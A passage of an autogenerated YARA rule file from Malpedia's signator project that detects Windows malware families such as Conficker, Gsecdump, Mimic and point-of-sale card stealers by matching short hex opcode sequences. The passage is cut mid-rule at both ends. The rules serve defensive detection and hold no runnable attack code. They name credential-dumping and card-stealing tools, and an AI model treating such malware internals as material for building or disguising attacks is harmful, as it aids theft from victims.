		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gotohttp"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gotohttp_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "eca21e603241e81fa8edd82e734587340b272e9a197c8dfdde2af1790f4487f3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb46 41f6401001 7412 0fb64c2428 ba01000000 66d3e2 66412350f8 }
		$sequence_1 = { f30f590d???????? f30f5905???????? f30f58cc f30f58c4 f30f59c8 730a f30f1005???????? }
		$sequence_2 = { eb05 ffc0 894334 488bcb e8???????? 488bcb 4c8bf8 }
		$sequence_3 = { 89442454 488bd3 33c9 ff15???????? 488b87e0030000 8b4860 8d0c8d01000000 }
		$sequence_4 = { e8???????? 488bf8 4885c0 7445 488d5010 488910 4863c5 }
		$sequence_5 = { 83fb02 0f85ee010000 4585ed 741d 448b4d5c 488b9590000000 488b4d40 }
		$sequence_6 = { e9???????? b920000000 e8???????? 488bd8 4885c0 741a 48897008 }
		$sequence_7 = { ff5010 488d4b18 ff15???????? c7430800000000 40f6c601 7408 488bcb }
		$sequence_8 = { eba3 488b8c2480000000 4881c150050000 488b842480000000 48898888000000 488b8c2480000000 488b842480000000 }
		$sequence_9 = { eb17 41389efb020000 751f c64705c2 bb02000000 4885f6 7411 }
	condition:
		7 of them and filesize < 6266704
}

rule MALPEDIA_Win_Unidentified_063_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d22cba4e-b95b-5578-ac95-09534bd7dc14"
		date = "2022-11-21"
		modified = "2022-11-25"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_063_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "14c180eecdf0e6fbf2b936d6c444ad58c2e649e1fa770106e8719057ee1aefbd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20221118"
		malpedia_hash = "e0702e2e6d1d00da65c8a29a4ebacd0a4c59e1af"
		malpedia_version = "20221125"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d43cf 83f819 770c 6689b550030000 e9???????? }
		$sequence_1 = { 7363 488bf3 4c8d35dfc40100 83e63f 488beb 48c1fd06 48c1e606 }
		$sequence_2 = { e8???????? 4863f8 488d3588800100 488bcb }
		$sequence_3 = { 0f11442478 4c8b4708 488d442470 493bc0 7362 488b07 488d4c2470 }
		$sequence_4 = { 4885c9 7407 48ff25???????? c3 48894c2408 57 4883ec50 }
		$sequence_5 = { 83f801 7518 488b0d???????? 488d05bf5f0100 483bc8 7405 e8???????? }
		$sequence_6 = { 8b8c96d0cd0200 8b534c 33c8 0fb6c1 }
		$sequence_7 = { 0f84e7000000 488b0e 483bc8 740e 4885c9 7406 }
		$sequence_8 = { 498bc2 418be9 48c1f806 488d0d708c0100 4183e23f 4903e8 }
		$sequence_9 = { 488d158a5a0200 488bcb e8???????? 85c0 7499 488d157f5a0200 488bcb }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Gooseegg_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d8132454-9f6e-5d45-ae4a-e06046e4b7c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gooseegg"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gooseegg_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "8983b8f0c526551207a00c2d480777794912cb3a61999ef4b05b249edd7a0003"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4d85c9 488d3d797c0000 488bc2 4c8bfa 4d0f45d1 4885d2 418d6b01 }
		$sequence_1 = { 488d05f1550100 c3 488d05f1550100 c3 4883ec28 e8???????? }
		$sequence_2 = { eb02 33db 4c8d357194ffff 4885db }
		$sequence_3 = { ff15???????? 48832300 4883c308 488d05b9440100 483bd8 }
		$sequence_4 = { 488d35abe70000 48895c2420 488d056fff0000 483bd8 7419 483933 740e }
		$sequence_5 = { 488b05???????? 488d150ef7ffff 483bc2 7423 65488b042530000000 }
		$sequence_6 = { 4c8d0dd17b0000 33c9 4c8d05c47b0000 488d15c57b0000 e8???????? 4885c0 740b }
		$sequence_7 = { 488945e0 895128 488d0dbb940000 488b45d8 488908 488d0d0d190100 488b45d8 }
		$sequence_8 = { 8bfb e9???????? e8???????? 488d1df2370100 }
		$sequence_9 = { 85c0 0f849e000000 4c8d051f330100 ba00020000 }
	condition:
		7 of them and filesize < 217088
}

rule MALPEDIA_Win_Mimic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a8de2e30-a540-5075-b183-0c7273ee4c55"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimic_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "1c66a1ded66595b3251cf8ee2e17251126ee2cc563185ec6b8bc5f5c9095e6bc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 51 50 ff36 ff15???????? 85c0 0f84a30a0000 }
		$sequence_1 = { 0fb6c3 8b5f30 330c8508fa5b00 8d0411 8b542420 33d0 8b442410 }
		$sequence_2 = { 898554feffff 85c9 7436 8b9534feffff 8bc1 2bd1 81fa00100000 }
		$sequence_3 = { 83c40c 56 ff15???????? e9???????? 52 51 }
		$sequence_4 = { a0???????? 83ec0c 84c0 7404 8be5 5d c3 }
		$sequence_5 = { ff15???????? 8b460c ff748604 ff15???????? 837e4800 7440 0f1f8000000000 }
		$sequence_6 = { 3d???????? 740d 8bc8 e8???????? 8b0d???????? 8b5104 8b82f4d55e00 }
		$sequence_7 = { 8d85b4f9ffff 50 56 ffd7 85c0 746c 8b8db8f9ffff }
		$sequence_8 = { 50 51 8d8de0feffff e8???????? 6a18 68???????? 51 }
		$sequence_9 = { ff75b8 0f4345a8 50 e8???????? 33c9 0f1000 0f11854cffffff }
	condition:
		7 of them and filesize < 4204544
}

rule MALPEDIA_Win_Gsecdump_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2dfd4f44-5170-5305-aab8-b4eb041699cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gsecdump_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "c92dc71f6df6f2ca655d1d4b5083e376ffdf96fc42dec3e3018507005bdeaa61"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8b742408 85f6 57 8bf9 7505 bef7030000 }
		$sequence_1 = { e8???????? 6aff 53 8d4c2430 51 8bce e8???????? }
		$sequence_2 = { 720d 8b542430 52 e8???????? 83c404 8bc6 8b4c2448 }
		$sequence_3 = { 8bef 83c701 eba4 8b4e24 3bca 740c }
		$sequence_4 = { 7422 8b4c2440 51 8b4c2428 8d542420 52 51 }
		$sequence_5 = { 8db424c0000000 89742424 896c2428 8bc2 7307 8d8424c4000000 }
		$sequence_6 = { 50 895c241c e8???????? 8b4c2464 8b542468 8b44246c 894e44 }
		$sequence_7 = { 50 8b8de8f7ffff 8b5110 ffd2 81c49c000000 85c0 7d0c }
		$sequence_8 = { e8???????? 33c0 e9???????? 6a06 68???????? 8d4dd4 c745ec0f000000 }
		$sequence_9 = { 83f8ff 7409 8b74246c eb03 8d7004 56 8d4c2418 }
	condition:
		7 of them and filesize < 630784
}

rule MALPEDIA_Win_Sepsys_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c07920dc-ecf4-5d0c-836a-1794c74b71bf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sepsys_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "50eb49ac3d5f5dfe611a451c1ec48caa70453cd380c122b00dd8d016e6744ba5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8b542430 488b4c2470 e8???????? 668944243c 0fb744243c 83f805 }
		$sequence_1 = { e8???????? 4889842490000000 e9???????? 488b8424e8000000 4889842458010000 488b8424f0000000 4889842460010000 }
		$sequence_2 = { 49f7d0 4d01e0 4883e003 7424 31c9 0f1f840000000000 8d140f }
		$sequence_3 = { e8???????? 488955b8 488945b0 eb00 c6450700 4889e0 488b4db8 }
		$sequence_4 = { 8b5511 8b5d14 895518 895d1b c6460802 8b11 8b4903 }
		$sequence_5 = { 8b1488 448b85f4050000 488d8518040000 488985500a0000 488b8d500a0000 89957c010000 44898578010000 }
		$sequence_6 = { e8???????? eb00 488d8d80000000 488d95a0000000 e8???????? eb00 8b8580000000 }
		$sequence_7 = { e9???????? 4c8d4c243f 4c8d44243c 488b942450020000 488b842450020000 488b4810 e8???????? }
		$sequence_8 = { e9???????? 807c243400 4c8b6c2440 0f8437020000 4889f9 4889f2 e8???????? }
		$sequence_9 = { d3e0 488b4c2448 8b4c8c50 0bc8 8bc1 89442444 8b442420 }
	condition:
		7 of them and filesize < 4538368
}

rule MALPEDIA_Win_Rad_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8a099829-2dbe-5073-9ece-c0e3e763fe4a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rad"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rad_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "2d90510a72fef277223444468a95d2c25d3c61f771625c4fd1893b29c13678f2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8d9cfdffff c645fc1a ff15???????? c645fc19 }
		$sequence_1 = { 51 ff15???????? 83c404 33c0 8945c8 }
		$sequence_2 = { 5b c3 83fefe 760b }
		$sequence_3 = { 8d8f10030000 c684240c06000016 ff15???????? 8d4c2458 c684240806000015 ffd3 39742450 }
		$sequence_4 = { 89742410 c684240001000006 85f6 7447 8bce ff15???????? c706???????? }
		$sequence_5 = { e8???????? 8d4c2434 68???????? 51 e8???????? 8b35???????? 6a14 }
		$sequence_6 = { ff25???????? 8db514faffff e9???????? 8db530faffff e9???????? 8d8d4cfaffff }
		$sequence_7 = { 8b75e0 8bd6 83fe06 7205 }
		$sequence_8 = { 8975b0 eb03 897db0 8b55b0 8955ac c645fc04 }
		$sequence_9 = { 59 8be5 5d c20400 8d4df0 c645fc00 ff15???????? }
	condition:
		7 of them and filesize < 207872
}

rule MALPEDIA_Win_Conficker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2292bd3e-30fc-5fd2-b5f2-54da12682502"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conficker_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "516f879a278afd371cf4391eda00f14d5a379f5084ac579457d7a12528cabf86"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81f9a9fe0000 743b 8bce 81e1fffe0000 81f9c6120000 }
		$sequence_1 = { 0fb6d3 8b5c9008 46 3b7510 891f 894c9008 }
		$sequence_2 = { f2ae 61 7502 4a 4a 3c09 }
		$sequence_3 = { ff15???????? 8945e4 8365fc00 85c0 7420 68???????? }
		$sequence_4 = { 85c0 750a 2145fc c745f8b0ae6243 ff15???????? 3345f8 }
		$sequence_5 = { 743b 8bce 81e1fffe0000 81f9c6120000 }
		$sequence_6 = { 894d08 8b0e 894c9808 02ca 8916 8b750c }
		$sequence_7 = { 8955fc bfffffff7f 23d7 8945f0 8955f4 }
		$sequence_8 = { 395df8 7507 c745fc01000000 57 }
		$sequence_9 = { 81e1fffe0000 81f9c6120000 742b 8bce }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Saigon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4227170-8c19-5a53-bfab-480d4b1c0eee"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saigon_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "ca28ac861d15b6053acaf9126995909d99adf4b549ed8bfb0a57ebb9988cee44"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 0f85f4000000 488b0d???????? 33d2 41b800100000 }
		$sequence_1 = { 33db 488bf2 4533c9 448d4303 }
		$sequence_2 = { 418bd5 89542440 4533c9 4533c0 488bc8 895c2420 }
		$sequence_3 = { 0f859d000000 488bcb ff15???????? 488b0d???????? 33d2 448d440034 ff15???????? }
		$sequence_4 = { 488d842470020000 4c8d842440050000 488d942490030000 488d8c24c0000000 448bcb 895c2428 }
		$sequence_5 = { e8???????? 488d8f88000000 ff15???????? f08387b000000001 488d8f88000000 ff15???????? 440fb65f66 }
		$sequence_6 = { 0f8592000000 f60302 0f8589000000 448b6b08 }
		$sequence_7 = { 4533c9 488bd0 498bce e8???????? 488b0d???????? 33d2 }
		$sequence_8 = { 4885c9 740c 33d2 e8???????? 4c8be0 eb03 4533e4 }
		$sequence_9 = { ff5038 85c0 781c 488b4c2430 4533c0 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Poscardstealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53d91898-d02d-53b9-9813-59bf55e7c619"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poscardstealer_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8ad471a582e54a99878737b3b5b570978ce78744521ef98846f72f0bfe800fbd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5610 8955e4 8b4614 8945e8 897e10 897e14 837dcc10 }
		$sequence_1 = { 6aff 6a00 50 8bce c645fc02 e8???????? 837de810 }
		$sequence_2 = { e8???????? 83c404 397de8 0f82f6000000 }
		$sequence_3 = { 51 e8???????? 83c420 50 8d8d74ffffff }
		$sequence_4 = { 8901 c9 c3 3b0d???????? 7502 }
		$sequence_5 = { 8bbd90edffff 40 898570edffff 3bc7 0f8ceffbffff 8b0d???????? }
		$sequence_6 = { 7305 83c8ff eb08 33c0 83fe01 0f95c0 3bc7 }
		$sequence_7 = { 8d45f4 64a300000000 8b35???????? c745fc00000000 8975ac 3b35???????? }
		$sequence_8 = { c645fc01 e8???????? 6aff 40 50 8d559c 52 }
		$sequence_9 = { c645fc0e e8???????? c645fc05 397de8 720c 8b4dd4 51 }
	condition:
		7 of them and filesize < 362496
}

rule MALPEDIA_Win_Pillowmint_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3853669a-e086-5b11-9aa7-48869422e9e3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pillowmint_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "4bf5c67c89e02047a57c78ccb54899d23f365f779797116ee014480492b0b534"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48c7442460feffffff 48895808 48897018 48897820 488b05???????? 4833c4 488985d0000000 }
		$sequence_1 = { 488b8c24a0000000 e8???????? 48c78424b80000000f000000 4889bc24b0000000 c68424a000000000 4883bc24d800000010 720d }
		$sequence_2 = { 7534 8b461c 0fb713 498d0c01 4181f8b80a4c53 7509 448b3491 }
		$sequence_3 = { e8???????? 488b4608 488d3d68fb2200 488b80f8000000 488bdf bd10000000 c605????????00 }
		$sequence_4 = { 488d4c2468 e8???????? 90 4c8d05360f0300 488bd0 488d8c24c0000000 e8???????? }
		$sequence_5 = { 498bc5 482bc1 483bc2 7305 488bd7 eb03 4803d1 }
		$sequence_6 = { 0fbe00 8d0480 8d80effeffff 8d0442 83f81e 0f8730010000 }
		$sequence_7 = { e8???????? 8985c0000000 488d95c0000000 e8???????? 4885c0 0f853e040000 488b05???????? }
		$sequence_8 = { 90 4c8d051c170300 488bd0 488d4dd8 e8???????? 90 4983c9ff }
		$sequence_9 = { 4883c708 48833b00 75a9 418b4620 4983c614 85c0 0f8579ffffff }
	condition:
		7 of them and filesize < 4667392
}

rule MALPEDIA_Win_Burnbook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d8a1b3af-c791-5a49-95d1-39ec74922c1f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.burnbook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.burnbook_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6939db5a1f9211e1e7ddaeea7285f0f9407b5dc4feaa3227884659565987f25b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d8 418906 418bc3 83ffff 7d02 f7d8 410fafd9 }
		$sequence_1 = { e8???????? 8945ef 41b881010000 488bd7 488bcb e8???????? 4885c0 }
		$sequence_2 = { f30f2cc0 8801 48ffc1 4883ea01 75c9 488b459f 4c2b5028 }
		$sequence_3 = { ffc1 448bd1 f7d9 8d344e 0f1f00 0fb60a 0faf08 }
		$sequence_4 = { f20f1003 f20f59c6 f20f58c7 e8???????? f20f2cc0 89862c0c0000 f20f104308 }
		$sequence_5 = { e8???????? 85c0 7419 488b5308 8b0c3a 85c9 7407 }
		$sequence_6 = { f30f2c442440 4883c304 488d7f04 8947fc 4883ee01 75dc 488b742430 }
		$sequence_7 = { f30f7f840cf0030000 f30f5bc2 f30f7f440cf0 81fa00010000 0f8c5cffffff 0f28bc24100c0000 0f28b424200c0000 }
		$sequence_8 = { f30f114014 488bc3 4881c448010000 415f 415e 5f 5e }
		$sequence_9 = { e8???????? 85c0 7814 0fb6c0 488bd6 488bcd 0bf8 }
	condition:
		7 of them and filesize < 22976512
}

rule MALPEDIA_Win_Rawpos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1ae7866b-5a11-5ecd-acc1-985240e6eeca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawpos_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "db91ad955030d7923a8e659a49a2b9f0e663571d73f741166c9c17758223d91f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 85c0 757b 0fbe4604 50 e8???????? 59 }
		$sequence_1 = { 8bf8 33c0 8a07 83f845 7c05 b845000000 83f83b }
		$sequence_2 = { 5d c3 55 8bec 83c4dc 33c0 33d2 }
		$sequence_3 = { e8???????? 83c408 85c0 0f842e070000 8b4520 8d4df4 50 }
		$sequence_4 = { 8bc3 f7d8 83f803 750a bb08000000 e9???????? }
		$sequence_5 = { 837df400 7507 8bf7 e9???????? 803f10 7526 }
		$sequence_6 = { c646ff10 c60601 46 8a45d0 8806 46 }
		$sequence_7 = { 8a13 80c2d3 80ea02 720f 80c2fe 80ea02 7207 }
		$sequence_8 = { 53 8b4510 83c6ff 50 57 52 e8???????? }
		$sequence_9 = { eb03 83c8ff 5f 5e 5b 59 5d }
	condition:
		7 of them and filesize < 466944
}

rule MALPEDIA_Win_Lightbunny_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dde384fa-2d37-5576-aebe-de172bd52692"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightbunny_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "df215a5e4e34e2b6ef794199d12d5fa957ff647111af41e6077ed16529a01062"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 b8???????? 90 3910 7412 0524100000 }
		$sequence_1 = { e8???????? 8b55f4 83c404 b906000000 e8???????? e9???????? }
		$sequence_2 = { 6a32 ff15???????? 8bcf e8???????? 8bf0 85f6 75e2 }
		$sequence_3 = { 8d0485586e4100 50 8d8590faffff 03c7 50 e8???????? }
		$sequence_4 = { ff36 894608 68???????? e8???????? 83c408 }
		$sequence_5 = { 83b81810000000 0f85defeffff 83b82010000000 0f85d1feffff 6a00 }
		$sequence_6 = { ff75f4 68???????? e8???????? 8b4df4 83c40c }
		$sequence_7 = { c1f906 53 6bd830 56 8b048d20ae4100 }
		$sequence_8 = { 69f224100000 81c6???????? 7410 c7460404000000 ff15???????? }
		$sequence_9 = { 8b148520ae4100 8a4c1a2d f6c104 7419 8a441a2e 80e1fb }
	condition:
		7 of them and filesize < 2376704
}

rule MALPEDIA_Win_Herpes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e63d0f33-775b-5606-bd1d-23c306bf37e3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.herpes_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "754c79a3fce60a65d5238f8bbab4a5de6f5328cd0831b8e3c8484725e4b748a5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3945cc 8b45b8 7303 8d45b8 56 51 50 }
		$sequence_1 = { 68???????? e8???????? 83c404 5e 5d c20400 83ff75 }
		$sequence_2 = { 8945e4 3d01010000 7d0d 8a4c181c 8888c0c24100 40 }
		$sequence_3 = { 8d45d4 3bc7 7450 3975e8 720c 8b4dd4 51 }
		$sequence_4 = { ffd7 68???????? 898664010000 ffd5 68???????? 50 898600020000 }
		$sequence_5 = { e8???????? 8bc7 5f c20400 83661000 }
		$sequence_6 = { ffd6 0145f0 8b75dc 8b45f0 56 ff75e0 03c7 }
		$sequence_7 = { ffd7 68???????? ffb6f8010000 894664 }
		$sequence_8 = { 8b4dfc 898134050000 6a00 6880000000 6a03 6a00 6a01 }
		$sequence_9 = { 33db 58 89863c020000 899e38020000 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Smarteyes_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8abe8c6c-e31a-5eb9-813d-c2cddefb10f7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smarteyes"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smarteyes_auto.yar#L1-L133"
		license_url = "N/A"
